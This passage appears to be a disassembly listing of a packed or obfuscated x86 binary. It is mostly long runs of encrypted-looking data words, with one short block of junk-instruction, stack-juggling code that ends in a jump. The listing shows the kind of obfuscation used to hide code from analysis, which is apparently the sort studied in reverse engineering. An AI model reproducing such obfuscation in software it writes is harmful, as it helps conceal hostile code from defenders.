		dd 0D9B29835h, 8055F9A0h, 0F538D776h, 5AEAF370h, 432CC72Ch
		dd 0C74307A0h, 0E113B141h, 6BB2C9D3h, 58937FCBh, 9B422F04h
		dd 76A84802h, 0CF52D9EEh, 0B155F800h, 2C9D956Ch, 0A87E0CC7h
		dd 39DC1B2Ah, 0ECDD6496h, 414CEA69h, 790FC4F5h,	0B1501DF2h
		dd 0EAAA9E2Ah, 96012022h, 0B1BC13F2h, 3D07512h,	7EB050F7h
		dd 0CD688BE7h, 3044C84Bh, 0B928D80Dh, 0B837FA9Eh, 3D112532h
		dd 47FE972Dh, 3FDF7E78h, 117E7FAh, 0CCFD44CDh, 2FCCA49h
		dd 97F373Ch, 4B02D76Ch,	11EBD366h, 3E340B3Eh, 4E8F1497h
		dd 21D3664Bh, 0D30903A3h, 0FBF032E7h, 29A64A24h, 0D36647D0h
		dd 0F79719AFh, 51BEh, 0DF6D4400h, 408D6019h, 0D69B2802h
		dd 0A2631C5Dh, 378E8020h, 0B860B92h, 0FC993C34h, 2034C54Eh
		dd 0BD4B3EC8h, 281E1419h, 0ECC1C4F5h, 3FE60C02h, 0A426A4A6h
		dd 4C529B21h, 6BE50536h, 0C8541E22h, 0BE4EBFB8h, 90F9F093h
		dd 0C9620604h, 2811h, 0DF6D8700h, 0AC7E710Ah, 0DC4EF2F0h
		dd 0F2C14485h, 85C56205h, 0F7E15EE1h, 88C4F517h, 65E06502h
		dd 2D561FDEh, 34D472C7h, 39DC1BEEh, 6586265h, 1FBB54B0h
		dd 2F9h, 6A94430h, 0C36605F1h, 9F462Ch,	0CA6D08EBh, 0F2953C35h
		dd 6D844D4Fh, 0A4CC23C6h, 6C895E01h, 9AD52ACDh,	0DF6658F7h
		dd 0EA699960h, 8B37F838h, 0ED2BDC1Bh, 945B79F7h, 47FE9719h
		dd 0D1B445CAh, 3DCB3EC8h, 832B4499h, 0C8D1FDFCh, 74F6943Eh
		dd 2D9C21D5h, 0F5E329A6h, 0F075C4F5h, 14B15423h, 0F52CAD36h
		dd 0B73CC72Dh, 0C72DF526h, 0B94FCB39h, 7C54EC29h, 28C87CCEh
		dd 42019E2Ch, 0C72DC2BFh, 80B3BE68h, 0C27F7E05h, 1D12C72Dh
		dd 8B2BAD54h, 6A755B91h, 41FDFCh, 3E850000h, 169B22A7h
		dd 0C87D4099h, 1FA41F3Eh, 3EC87DDEh
		dd 0F19513B1h, 0AEF3B12Eh, 0D765C4F4h, 0E811CEF6h, 0E0C3B141h
		dd 9BD8B1h, 0C966E460h,	2C64677Ah, 5BF690C7h, 68CA7BF1h
		dd 0ACDDFCh, 1B650000h,	579C39DCh, 19DA731Ah, 51A23BDEh
		dd 7C008326h, 0A41FB379h, 14B3C326h, 0AD51CF7Bh, 7B15C98Eh
		dd 0A6D13EC8h, 608F6403h, 6FF620BDh, 5E4CD35Ah,	113B0AA2h
		dd 9B22D473h, 0F321A72Eh, 76717318h, 63553BF5h,	9D1B6A99h
		dd 70B936F9h, 0EF3D1243h, 0D654F302h, 0D279804Fh, 0FAA1D82Fh
		dd 0C0A83926h, 58820B43h, 1B5h,	0C26500ECh, 0FFA2412Dh
		dd 0CC6B12E8h, 0F6993437h, 0CE7118E1h, 0A1D8F9ABh, 788057FAh
		dd 0D09D32D5h, 7E798E31h, 0B8A3CDBh, 0EA6B7584h, 9F230C38h
		dd 9837DE1Bh, 0EE913443h, 51C8DD6Bh, 3EB0B840h,	0A73E949Ah
		dd 830AADCBh, 0C87DFDFCh, 74F6943Eh, 0AEB072F1h, 9D2BC4F4h
		dd 8D2C4916h, 5DB65AF0h, 2CB213E6h, 7A49FCC7h, 0CF39DD7Ch
		dd 80DE1680h, 9B78FC69h, 0A000000h, 9C39DC1Bh, 0DA731A57h
		dd 0C87AB569h, 0E386713Eh, 1DC0AF44h, 7A4F9680h, 5D4F1CF3h
		dd 0F951EE95h, 0CF54D777h, 3B0AA5DDh, 0A559F88Eh, 4D22A920h
		dd 0CEA98221h, 4DC88B2Bh, 37D77A76h, 120144F2h,	0EA71D73Dh
		dd 9235DC15h, 0B98D343Dh, 43C16EAAh, 0E63F9B74h, 1D000000h
		dd 0BE15B44Fh, 996E11B0h, 0C017BA61h, 627918B3h, 2C51F097h
		dd 771E5B76h, 52F503D8h, 7E1D58AFh, 48EB04DBh, 118E35A9h
		dd 38EA6BC8h, 1BFCC6A7h, 959837DEh, 7D4A9310h, 9F253EC8h
		dd 6A0DEAFFh, 0DC1B7FC7h, 18579C39h, 14B1501Eh,	0E115B436h
		dd 69E66D5Ch, 0C4EA701Eh, 9360E361h, 720C067h, 0C16003ECh
		dd 0F99C4D2Ah, 0DD60DFC9h, 93F22DC8h, 0D355285Fh, 0CC8BB855h
		dd 0F6538E5Fh, 3AB956F9h, 8A29453Bh, 93756F08h,	993437BCh
		dd 3BCC4EFCh, 862D451Ah, 53BD61E9h, 0D57877FCh,	2FD29D32h
		dd 0F38E5D96h, 0BB5E995Ah, 5A4D122h, 0D9988668h, 0EB66EDABh
		dd 0ABA39564h, 0BA5EECBBh, 737C0150h, 0D4BF4DD0h, 8F553C01h
		dd 0F7A441D1h, 0DA045C64h, 0F700D736h, 0A1FBB54h, 79000000h
		dd 0B75A966Dh, 0E28C2C1Eh, 3ED91B60h, 822552A1h, 40DF0EE5h
		dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h
		dd 47E610E3h, 895124AEh, 4C181E1h, 83000000h, 0C8704E9h
		dd 24248B24h, 526C68h, 24148900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	6F35DAFh
		pop	eax
		push	ecx
		mov	ecx, 4B802464h
		add	eax, ecx
		pop	ecx
		xor	eax, 545189D6h
		mov	edx, eax
		pop	eax
		push	1A06h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, edx
		mov	[ebx+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dd 0DEAD7B38h, 1809B877h, 0C5030622h, 0D2F5E0FFh, 6A925933h
		dd 0E24D27CFh, 2A2A169Ah, 4A3D0367h, 7BAB063Ah,	1D471357h
		dd 248A33C5h, 5DCA4010h, 4EB7E1Ch, 3BEA1F67h, 51CE9h, 821D4F00h
		dd 4FEE08DFh, 781F5BB0h, 56F102D9h, 0AE551CB3h,	9D34660Bh
		dd 758A2DD4h, 0A239D87Bh, 3E9534D3h, 0F7EB8E31h, 6506D75Ch
		dd 905938EAh, 39DC1BB2h, 731A579Ch, 4DF0FFD4h, 3A3443B0h
		dd 981B9D3Ch, 660AADCBh, 0A94826CDh, 6C032B0Ch,	0DF8C6A39h
		dd 0BC9AD136h, 9F38BA92h, 0F9F60BABh, 511CB356h, 0D0D726ADh
		dd 1CA33EC8h, 3EC8D0DDh, 2B9616B4h, 0C8D055A4h,	1C9E2C3Eh
		dd 9E4FB9Eh, 0E30CE36Ah, 6C87A040h, 1C5AD384h, 617CDDCEh
		dd 1AC446DFh, 4A3D257h,	0BE618E65h, 0C1D82221h,	0DEC83EC8h
		dd 6DB32993h, 64A50285h, 1D000000h, 9C39DC1Bh, 0C87D54A7h
		dd 0F623C3Eh, 0B3F650DCh, 0B12CF57Ah, 0BEDD130Dh, 17B0284h
		dd 7000000h, 0A33CDB1Bh, 4A302650h, 0FF81244Ch,	0C966E466h
		dd 11AE492Ah, 0F479F826h, 54D85BFAh, 69CD995Bh,	78C0FE0h
		dd 3EC865F6h, 0BC5BFB89h, 1F4E4827h, 0DA5F0280h, 0A946ED05h
		dd 65C6179Ch, 2B993EC8h, 1B4309ADh, 0DFB437DEh,	74D66F0Eh
		dd 0BEB83BD4h, 710EADC8h, 0A44314CBh, 0B937C93Fh, 0B231B437h
		dd 3EC87A2Bh, 0B63DC046h, 3EC87A27h, 132CCC3Ah,	0A0D39E48h
		dd 7A5F9E25h, 94323EC8h, 5D12DFF4h, 0D714E6E5h,	1BA7A33Ch
		dd 4ED5B0DFh, 0C81608D1h, 5FE1673Eh, 0CAA67DC0h, 1CBC8E27h
		dd 6805A8C7h, 2FC86F8Bh, 5323F0B3h, 67EA14B4h, 0BD12A834h
		dd 0CC2556D6h, 968AF22Ch, 88EC0285h, 56000000h,	0BA55966Dh
		dd 11B8C116h, 7188078Ah, 103EC87Dh, 0B63DD67Ah,	0BF7815BCh
		dd 0D6ADE06Fh, 0B168F49Bh, 442B796h, 0B2BF14B4h, 5A976C0Bh
		dd 51EE955Ch, 15DE77F9h, 40A23BD6h, 728B088Dh, 0D3EC859h
		dd 222DD777h, 84D790B8h, 6EC602h, 1B3C0000h, 0DFB437DEh
		dd 74D66F0Eh, 8B2BD29Fh, 910E93B2h, 3EC87D48h, 84009FCEh
		dd 608D6206h, 4DEA8D6Ah, 6769FFEFh, 72F0EF9Eh, 57966DF0h
		dd 0EFFF18B8h, 0D49D222Dh, 1BC48A2Dh, 0A0A33CDBh, 3EC87D5Ah
		dd 0F16E12DCh, 3EC87DE8h, 0E67F0187h, 0A441E00Dh, 1A0CDA6h
		dd 0F978A664h, 43DC7774h, 841E8907h, 0B24D83EDh, 10B0284h
		dd 77000000h, 9F38DF1Bh, 0DF781B54h, 3B6E012Bh,	4CE98C64h
		dd 6D855AFEh, 6AEF23C6h, 0DC59DC5Fh, 0C87D8657h, 0D477803Eh
		dd 0F5930F3Bh, 4636CC51h, 9B29C4F5h, 6306F102h,	9D402FC4h
		dd 9AB84300h, 0A775C72Ch, 0B15423A8h, 5BFEF90Eh, 0C1AC83C2h
		dd 8E697E22h, 3AB85B94h, 6F16DCB3h, 3BD474D6h, 0C8FB5620h
		dd 0F5459344h, 0EFC412CEh, 89C15E01h, 44E710E5h, 80F369A5h
		dd 4765FC69h, 0DD000001h, 926BE86Dh, 0E63EC87Dh, 0C87D9069h
		dd 0D959EF3Eh, 459CB6Bh, 1F8E77B7h, 281773AFh, 0C7629083h
		dd 0D154D654h, 0B855F402h, 0E46BEE92h, 0C4F5529Ah, 1CDD62DDh
		dd 6CC72CAFh, 2CAF16E7h, 5FDB69C7h, 25CE67E9h, 0DC1DA24Ah
		dd 0B3C72CAFh, 0DFF49315h, 23D06D10h, 0DF14B154h, 21D26B12h
		dd 2F1BB457h, 136A1F5Ah, 0E73661D5h, 43A13EBCh,	5CE31659h
		dd 0C72C3C9Dh, 67D456F4h, 4433B8B7h, 0CC04FEA1h, 0FC68F2h
		dd 0EA477E7Ch, 9D41D045h, 3E24h, 0A33E9E00h, 7118971Eh
		dd 0F03EC87Dh, 0BB88BD5Ah, 0FC730CBDh, 27BC71F5h, 9A3E0CA9h
		dd 0C8024495h, 86C9B33Eh, 0A5289924h, 0DD3E9C20h, 3536F2Ah
		dd 31AFDE63h, 44C23EC8h, 7835A5h, 3E8B0000h, 7AECBA7h
		dd 437D0289h, 0D4C4F55Fh, 1D5A9936h, 7D52D77Ah,	1337D073h
		dd 97915E73h, 2F1BB45Bh, 0AB2F14B1h, 5EC72CA0h,	432CB1C0h
		dd 6678FE92h, 905F4CC0h, 4AED6BEDh, 4F181D8h, 0E360E365h
		dd 3D0ECD5Bh, 0FAF99634h, 55F003FDh, 26D03AD3h,	7554E94Bh
		dd 0B35621EEh, 89E4221Ah, 6A29ECE4h, 7E0548E8h,	3728173Eh
		dd 31C847CAh, 50D36845h, 0AC1A16BAh, 0A73E450Dh, 0AEC49B22h
		dd 3CDC6E07h, 46227AF9h, 3BB6C4EAh, 159A25B4h, 2ACE3CC7h
		dd 9534412Eh, 37D052F8h, 7110B3BCh, 1DBA5D9Ah, 0DD997926h
		dd 3837E704h, 0A1402E05h, 150FE8FDh, 0AC9E37DAh, 7B748B2Eh
		dd 8B063FD8h, 0DD9BF504h, 0CBA78C82h, 41BF8B24h, 902B489Dh
		dd 66E913F7h, 0D47316E1h, 0B04DF0FFh, 32Ah, 0BC86A000h
		dd 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh
		dd 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h, 0E0895024h
		dd 4BB53h, 0D8010000h, 4E8835Bh, 5C240487h, 43DC68h, 24048900h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BB53240Ch
		dd 62218CCh, 89DF8957h,	545B5FF8h, 81240C8Bh, 4C4h, 4EC8300h
		dd 8F240489h, 0C8B0841h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 582434FFh, 0E904C483h,	0FFF9604Ch, 3FA587DDh
		dd 426C8F29h, 0CCC53EFDh, 1D68B80Eh, 0C5030622h, 4BCDE0FFh
		dd 0F6762FDEh, 73A86B9Dh, 1A2B5472h, 68B22370h,	0E9E60495h
		dd 0B8937759h, 5B495AEDh, 0BBCF2CDDh, 0E3A56EE0h, 7F772B3Bh
		dd 0BD836E23h, 6381359Ah, 0F9E536E7h, 99517292h, 28A40318h
		dd 4EB56E0h, 71CBFB58h,	55DE9h,	720DDF00h, 9F3E38CFh, 680FEB00h
		dd 0A64132C9h, 5E05EC03h, 0CD0496BBh, 855AFDA4h, 0D229C86Bh
		dd 8E6504A3h, 0A71BBE61h, 6356A72Ch, 402938EAh,	39DC1B82h
		dd 731A579Ch, 4DF0FFD4h, 8C3443B0h, 0C87DF607h,	26FB893Eh
		dd 4208A54Ch, 0A2CC27C0h, 7E058003h, 3EC87D7Fh,	3BD47412h
		dd 9A1F32FCh, 0C017BA5Dh, 5C7316B5h, 9E55F291h,	5D962FD2h
		dd 9D56EF92h, 0F49BD6D4h, 0D05ED976h, 67955381h, 0F39263E8h
		dd 33D2A370h, 0BB263A7h, 0D474AD02h, 2ED19E35h,	0D76C21A7h
		dd 0DFBE675Ch, 0A64AED0Ah, 3B24B68Dh, 0D94C3EC8h, 92B71653h
		dd 0A02ECE36h, 526448A1h, 4EB858DAh, 88239903h,	0D4AB0285h
		dd 635CFC97h, 0AAh, 6BE86DDFh, 3EC87D92h, 0CCD52EDh, 633EC87Dh
		dd 2EC363E5h, 0ABB29041h, 45E2816Dh, 59127505h,	0AC830A88h
		dd 0BF8B24BFh, 0CC6910EAh, 441DA7Eh, 0FF9F3E2Fh, 0C83CA13Ah
		dd 1A35D13Eh, 84F338B0h, 131E02h, 2AA70000h, 0C83054A5h
		dd 1B982B3Eh, 3EC830C2h, 5A9279Dh, 3CDB1B3Fh, 822650A3h
		dd 0C87DFCFDh, 6EF5933Eh, 0C87DE8F1h, 7F01873Eh, 43DE0DE6h
		dd 0CEA18DAAh, 3A372D49h, 7B50FA93h, 743DC7Bh, 0D563E689h
		dd 67B4A54Ch, 9A6F0FD1h, 0A533BA5Dh, 8AD5430Dh,	6574FB63h
		dd 0FC3EC8D8h, 0CD6C0C8Eh, 1DB8BB88h, 0DE1BB379h, 2AA79E37h
		dd 0D9761D55h, 7D11E871h, 0DA703EC8h, 36D5A136h, 7A1D5A99h
		dd 3AD516DDh, 44B519Dh,	13E065D6h, 0A6A441E4h, 0D4591802h
		dd 7C53F69Dh, 0E37D073h, 0F729718Ah, 0F898FDE6h, 0D77017E3h
		dd 0ABDE710Bh, 0E41AEC1Dh, 3FDF4557h, 85769FC5h, 9A602F02h
		dd 815A53F3h, 0E8000000h, 9E37DE1Bh, 0D9681D55h, 0D19A9F1Eh
		dd 36019E1Ch, 0B23669E8h, 1E0AA75Ah, 0B0BF9445h, 36DA700Dh
		dd 8E31D8A1h, 3CD98079h, 9E0BB4B7h, 0D4530A5Dh,	0B4CC3E61h
		dd 0AE28D828h, 0A0DAA92Ch, 15EE5CF9h, 7F9838DBh, 4CB6B963h
		dd 2857524h, 5052h, 0DE1BB000h,	0DE7716E0h, 0B558976Ch
		dd 10E3B033h, 0D38D175h, 0F5993836h, 0D97615E0h, 9C39E01Ah
		dd 0D9761957h, 6F9DB482h, 43C88795h, 6AF08F36h,	0B93CDB1Bh
		dd 966B0EEAh, 2B1FB857h, 4B91B28Bh, 393EC87Dh, 2098024Dh
		dd 360284B2h, 1, 5B966D8Ch, 71EF925Dh, 9B4238CDh, 6306F102h
		dd 38BD40CAh, 0C87D22BBh, 27C73D3Eh, 5ED72FDh, 0FB76BB5Eh
		dd 0C87D6574h, 0EA8EFC3Eh, 0A528A138h, 22889C20h, 0BDD6BF0h
		dd 9C2CE66Bh, 0A428C4F5h, 8FEBDA7Dh, 541E516h, 3070FC7Fh
		dd 688B38E3h, 31C25BFBh, 9C20A346h, 4680CF18h, 799838E2h
		dd 55F29562h, 2D67EDEEh, 0CCA322C7h, 2BD2A8A6h,	963A10ADh
		dd 9760E56Ch, 717E55F4h, 0B5C231CEh, 38E67512h,	18BBB439h
		dd 0CC477D79h, 3311FC69h, 71000001h, 0BA55966Dh, 6C5DE416h
		dd 531C6AE9h, 0E95FC4F5h, 25C8A74Ch, 0DF826D82h, 1FC2AD46h
		dd 4609D586h, 9013B6C1h, 8D343E15h, 2CAFF504h, 0A14433C7h
		dd 3BC64604h, 2CAF25B4h, 4CCE3CC7h, 0FFF989C0h,	0C266F830h
		dd 0B531A763h, 4A27FC68h, 9B000000h, 971EA33Eh,	0C87D7118h
		dd 0BD5AF03Eh, 0C87D7786h, 79F8A23Eh, 8003BE17h, 7D7F7E05h
		dd 0C0B93EC8h, 0A82B9919h, 0C87DD22Bh, 7717AD3Eh, 7D1E2FB4h
		dd 7E0A3EC8h, 19D1929Bh, 3BF797F7h, 9FBC2ACDh, 19000000h
		dd 0E8882F4Ah, 22A73E62h, 0CA7C49Bh, 0F437D773h, 2CD8A271h
		dd 0C87D56A7h, 1D9B293Eh, 5F1AB479h, 30FDC4F5h,	0DA23A048h
		dd 0B5C72CA3h, 0B64FD14Fh, 0F08F323Dh, 9C39DC1Bh, 2CA053A7h
		dd 7AECBC7h, 0C968856Eh, 7BD6B82Ch, 0A2AD6F4Dh,	2CAF521Dh
		dd 0DB741B57h, 0BB5E9A6Fh, 0A9882822h, 52D9F075h, 53FA00CFh
		dd 994039BAh, 0FAB27717h, 6E3D0E9Eh, 0C36D6CF3h, 8604CD0Ah
		dd 47E066E2h, 441BC3ACh, 0FCFD862Dh, 93CD0AC3h,	30DA73F5h
		dd 0B4096B06h, 19118E15h, 0D63728FDh, 0BB3DDC19h, 0A73E161Ch
		dd 9B169B22h, 0C87DC514h, 9433433Eh, 490EB218h,	0C4EA4361h
		dd 4EF88FEh, 52A948EBh,	5EE58225h, 4EFFFE15h, 5184CB53h
		dd 7B7A7882h, 890743DCh, 3DA59ECh, 5EBF3C7Eh, 31C66AE8h
		dd 5320A346h, 64E67F26h, 618E65C4h, 0A12421BEh,	3C7EDB22h
		dd 0B050B6BFh, 0E07D185Bh, 0F075FC2Ah, 3EE50D07h, 8827A9A1h
		dd 5AE18473h, 21C56C85h, 2FAF3D08h, 2367B777h, 34B791Dh
		dd 0C5000000h, 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h
		dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch
		dd 5624AE47h, 0C681E689h, 4, 3304EE83h,	34312434h, 24343324h
		dd 7351685Ch, 0C890000h, 0E3895324h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 68241489h, 6221E3Ch, 83240C8Bh, 8B5404C4h
		dd 0C4832414h, 4EC8104h, 89000000h, 428F240Ch, 2434FF08h
		dd 4C4815Ah, 8B000000h,	8951240Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 5A9AE95Ch, 0EFA0FFF9h, 0E74FB926h
		dd 1AFCDF20h, 16B806ACh, 3062223h, 0C0E0FFC5h, 7D18FFEEh
		dd 920E3804h, 546B602h,	5E5C17AAh, 917D276h, 0CB41289Ah
		dd 0CF7D987Fh, 976AEB75h, 0A1440DD1h, 0A578FE3Fh, 0A9593BD9h
		dd 0A67913A1h, 313F8F32h, 0D308335Ah, 0BA043CFFh, 7B29BB68h
		dd 0A7773E5Ch, 0B75F6D6Dh, 0FD74E479h, 0C16BFB03h, 0C70FF7D1h
		dd 0BE6B051Bh, 0BE745A90h, 0D748140Dh, 0EF5AE564h, 7720B9B1h
		dd 4D09E0D1h, 3D0ACD73h, 0A401233Dh, 0E6077774h, 0AD239443h
		dd 0EB58EA86h, 0AAD27704h, 566E968h, 0FEEE0000h, 3F2FC463h
		dd 10EA01A0h, 4231C669h, 6F308A7h, 79DC05Fh, 6908AFCAh
		dd 24C36692h, 60FF9ECFh, 26C96C8Bh, 4B9211B4h, 2638EA59h
		dd 0DC1B7D45h, 0F57316E2h, 0DCD6A16Eh, 52F6740Fh, 983F3AB9h
		dd 7215E2F9h, 4E395DEBh, 4A3BACB1h, 89668DA6h, 79FC49E6h
		dd 0C882E3FAh, 68087E3Eh, 41C46393h, 42E68172h,	49F00AE9h
		dd 862947ACh, 581705E9h, 0C689952Ah, 0F4933641h, 0EC6F0EDFh
		dd 0FE5C8A60h, 0FE8504DFh, 6B97661Fh, 6AC96DEBh, 1CB95895h
		dd 6FF699D7h, 575B0FE9h, 5DE4F68h, 8DA64AE9h, 85F2767Dh
		dd 899AE3E1h, 8D0BA6C5h, 0AB303FE9h, 778C2BCAh,	0D34ED578h
		dd 0C8CC8D4Ch, 0C266E43Eh, 0CC00DA69h, 96703EC8h, 631B51BBh
		dd 5F3D0285h, 0C5000000h, 9C39DC1Bh, 0C87D54A7h, 0BA893C3Eh
		dd 8F791DBCh, 0BBB68DC0h, 2FCF7B14h, 84B17FF5h,	1D902h
		dd 1B690000h, 207D2EDBh, 8005F6F3h, 608E6502h, 0AE3AC1h
		dd 0AB521FE6h, 7ADE041Fh, 0B5B63DD6h, 674F8E15h, 0A4223EC8h
		dd 80AE8926h, 0E3826CF1h, 18C0AF44h, 0C867429Bh, 29A71D3Eh
		dd 0DE1BC086h, 8C20DC29h, 2CAEEA18h, 0B03423A9h, 0D06D08EBh
		dd 1505EA7Ah, 0AF44DD81h, 45941BBFh, 0C33EC852h, 0D4760FB6h
		dd 0D770F258h, 41320184h, 591802A6h, 7E1D5926h,	45EC05DAh
		dd 7F224DA2h, 3EE50DE6h, 6C0FE8B7h, 956F73CCh, 0E32850BAh
		dd 814E0284h, 0B4000000h, 9E37DE1Bh, 531F1D55h,	7DD128A7h
		dd 1AB03EC8h, 0C84BFF98h, 0C87DB24Bh, 0B937CD3Eh, 3C131B1Ch
		dd 0C005BAB7h, 1A5EA898h, 0F80FB230h, 55F00301h, 771092B8h
		dd 3BD46F7Ch, 811EBDB8h, 44E18872h, 0F1242BF3h,	0C85F6B72h
		dd 280063Eh, 79E36E18h,	284D653h, 6305h, 0DE1B7D00h, 0D8A79E37h
		dd 0EA60FDA0h, 25C4B146h, 0E98C6B88h, 26C9A74Ch, 0EA8D6A89h
		dd 2B591802h, 7F044B51h, 262CCB72h, 0A33CDB1Bh,	0C87D5AA0h
		dd 5AD74A3Eh, 41CA6985h, 3EC87DB8h, 63CD71D7h, 0B22AA20Ch
		dd 16A20284h, 914CC364h, 6E6717DEh, 9BFCCD5Dh, 9E5DE82h
		dd 60000000h, 836D6393h, 78BE62E0h, 0AE33DF1Bh,	0C87DA831h
		dd 0B841C73Eh, 3EC87D21h, 0AF48CA40h, 0EF882B44h, 0D95EF11Bh
		dd 0D257FAA1h, 9B851546h, 0DC7C740Ah, 0AF36932Ah, 0F5F29230h
		dd 5EF78DC4h, 8FA95A95h, 6AB05765h, 4005A426h, 0A575EBCh
		dd 0B1555261h, 17B0531Ch, 0F198612Eh, 90F3084Dh, 3635C72Dh
		dd 8F1029Bh, 0AB73C461h, 69876A4h, 36BD386Bh, 0C72D90A7h
		dd 57AC4CBAh, 0FDD27518h, 3DB64FF2h, 890C8F32h,	961BBEBAh
		dd 0C72D9047h, 9515B4C1h, 0A5B68F2Fh, 6F176F9h,	124AC463h
		dd 44FC6A9Fh, 12Fh, 0DFFA3BC1h,	5FB919Eh, 0A73EDB61h, 49169B22h
		dd 993C342Eh, 33CC4EFCh, 0A4B27717h, 0B7C4F553h, 303FB451h
		dd 68B068Dh, 2CAC7089h,	0F0790FC7h, 0C72CACE9h,	69F3E2Fh
		dd 9E42C844h, 0EC8F687Fh, 34D7A053h, 5BF6C09Bh,	53F699D6h
		dd 69832197h, 5D37FCh, 3E8B0000h, 0C8971EA3h, 8870EADh
		dd 3EC87DF1h, 0D356FA90h, 0D178814Eh, 7D61282Dh, 2AF93EC8h
		dd 591A9F4Ch, 84CDEE8Eh, 3DE16906h, 59EA8301h, 3EC80B80h
		dd 58BA9577h, 0B940BFFDh, 0D83EC80Bh, 82820664h, 0B937373Bh
		dd 1E2FB437h, 113EC81Eh, 84E6D473h, 5F000000h, 29C66590h
		dd 3EB77D21h, 149B22A7h, 0C4F55FFAh, 0A54EE75Dh, 5C9D22CAh
		dd 2CC72CA2h, 2CA256A7h, 1F9B29C7h, 738827A9h, 743D384h
		dd 6950EBE3h, 1CD864E7h, 22AE8476h, 54EF48E8h, 0C72C7980h
		dd 47CCA379h, 30E28528h, 169D20A9h, 3D0E5F27h, 92B34CBAh
		dd 9F49900Fh, 0A2CFCD09h, 65097FFBh, 2BC46790h,	0E71A35DFh
		dd 0B75A956Ah, 56A72C1Eh, 29CD099Fh, 0B409FB9Bh, 28118E15h
		dd 0C7372BBBh, 3E989E41h, 149B22A7h, 0C4EA5925h, 41C74EBCh
		dd 834256C2h, 0D66F0FB3h, 6C6DF26Fh, 3C71519h, 0E30CE185h
		dd 9E6BD40h, 6409FC58h,	70F28564h, 15B95C9Bh, 6516E1F6h
		dd 0F0C827A0h, 6B048662h, 9EFA28D8h, 720DDE55h,	0AC531ED5h
		dd 77FA2413h, 0C96601F2h
		dd 0C06EFF81h, 0A0432CB1h, 29B03C01h, 5A1BFF4h,	511EB353h
		dd 0DB741B57h, 0B83AE118h, 15569D3Ah, 0FF2DDD7Ah, 690CEB70h
		dd 0A34631C6h, 0AD00Ah,	764D0000h, 0D3DDA75h, 0BC86E369h
		dd 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh
		dd 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h, 0E0895024h
		dd 239BB53h, 0E3814751h, 3EEC027Dh, 0E7EB8143h,	0F7708528h
		dd 58C381D3h, 195BAD9h,	0E8835BD8h, 24048704h, 1959685Ch
		dd 4890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 2434895Ch, 177CE8B8h, 11D9053Dh, 52480274h, 5F3236BAh
		dd 5AD03164h, 2D05E8C1h, 0FCBC81BAh, 24348B54h,	4C481h
		dd 0EC830000h, 24048904h, 0FF08468Fh, 815E2434h, 4C4h
		dd 24048B00h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0F954A3E9h
		dd 0D41592FFh, 4A2EF20Bh, 358A88C4h, 0A40E0A8h,	2228F0B8h
		dd 0FFC50306h, 0A3CE2CE0h, 32536E65h, 0F5F73459h, 0A8A1F448h
		dd 878D8D0Eh, 5206222Ah, 0C7E08166h, 958B5883h,	61B1241h
		dd 24298D89h, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 6BF89FC3h, 4C6BDB0Bh, 0C73175AAh
		dd 1B076585h, 678806h, 0C99D8900h, 0C7061B09h, 1B13D185h
		dd 6, 7D958900h, 60061B07h, 6840Fh, 9D890000h, 61B0D79h
		dd 11BDB509h, 0FF61061Bh, 1B31BDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0B14D43BBh
		dd 0E50E9879h, 858BF0A8h, 61B0041h, 2F8595FFh, 6A061Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 60E3FEC3h, 83397522h, 810B7EA3h, 0DC8AE4D6h,	0FF006A42h
		dd 1B220595h, 0EBC08B06h, 2B74CA3Bh, 0A6BB048Eh, 6DA91A63h
		dd 0A6ECA9BBh, 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh
		dd 9CC8E03h, 43E5A19h, 7227A76Bh, 515E1D03h, 4728A48Fh
		dd 901D35A1h, 2A5A6D0Eh, 437804EBh, 31E97578h, 49000005h
		dd 1AF1902Bh, 459A3DDCh, 0CE3862Dh, 4EA544DFh, 78DD7C23h
		dd 0DB826F62h, 26C9A73Ch, 0E2816C83h, 2CCFA83Fh, 35BA598Dh
		dd 38EA57A4h, 0CE53F2BBh, 0EA578851h, 0BD61E738h, 0E2DC1B77h
		dd 55F27017h, 5F556CF0h, 0F4DC8223h, 0CB727F54h, 0F598D72Ch
		dd 0B95C9B58h, 9A81A632h, 0DAADA4E7h, 9B68DD36h, 0C419BD58h
		dd 0C5720BAAh, 66911659h, 0DABC40C3h, 0E05A3ED2h, 730CAFC9h
		dd 5FC959D7h, 0BBDAC74Fh, 966DCC6Ch, 0A0E6AA57h, 0FB35778Eh
		dd 0E805DA7Dh, 0CA99AC49h, 8870EA9h, 3EC88EF1h,	8156FA90h
		dd 0CF3BD477h, 0F9FAC94Ch, 89C15Eh, 3EC88EF9h, 0A48E3298h
		dd 8E2D48CDh, 64EB66EBh, 3EC88E95h, 26BF6693h, 0A8CBA824h
		dd 58DA700Dh, 0B15423B8h, 0D128A72Ah, 0B03EC88Eh, 0A89D761Ah
